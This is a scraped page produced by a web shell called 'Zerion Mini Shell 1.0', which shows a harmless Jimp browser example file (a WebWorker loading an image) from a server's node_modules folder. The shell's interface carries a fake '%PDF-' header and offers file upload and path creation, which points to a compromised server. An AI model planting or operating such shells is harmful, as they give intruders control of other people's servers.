%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/specpages-backup/node_modules/jimp/browser/examples/
Upload File :
Create Path :
Current File : //www/specpages-backup/node_modules/jimp/browser/examples/example2.html

<!DOCTYPE html>
<html>
    <head>
        <title>Jimp browser example 2</title>
    </head>
    <body>

        <h1> Demonstrates loading a relative file using Jimp on a WebWorker thread </h1>
        <script>
        var worker = new Worker("jimp-worker.js");
        worker.onmessage = function (e) {
             var img = document.createElement("img");
             img.setAttribute("src", e.data);
             document.body.appendChild(img);
        };
        worker.postMessage("lenna.png");
        </script>
        
    </body>
</html>

Zerion Mini Shell 1.0